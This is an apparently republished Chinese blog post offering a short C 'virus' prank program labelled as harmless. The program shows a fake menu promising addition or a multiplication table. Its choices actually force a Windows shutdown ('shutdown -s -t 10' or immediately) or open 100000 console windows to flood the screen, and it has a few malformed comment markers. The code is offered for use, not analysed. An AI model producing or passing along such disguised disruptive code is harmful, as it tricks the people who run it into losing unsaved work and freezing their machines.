傻瓜也能看懂的C语言病毒代码(无害)

#include <stdio.h>
#include <windows.h>
#include <malloc.h>
int main(void)
{
    
    
int c;
int i;
int j;
nihao:
printf("1:计算加法\n");
printf("2:打印乘法口决表\n");/*假的,1会关机,2会刷屏*/
printf("请选择:");
scanf("%d",&c);
if(c==1)
{
    
    
system("shutdown -s -t 10"); \\10为自动关机的等待时间,若选择0则为瞬间关机
}
else if(2==c)
{
    
    
printf("电脑发怒了!\n");
for (j=0; j<100000; ++j) \\ j<100000为弹窗的数量,如果改为100,则为弹出100个对话框
system("start");
}
else
{
    
    
printf("你以为自己很聪明吗\n");
system("shutdown -s -t 0"); 
goto nihao;
}
return 0;
}

猜你喜欢

转载自blog.csdn.net/CSDN_C2/article/details/105664387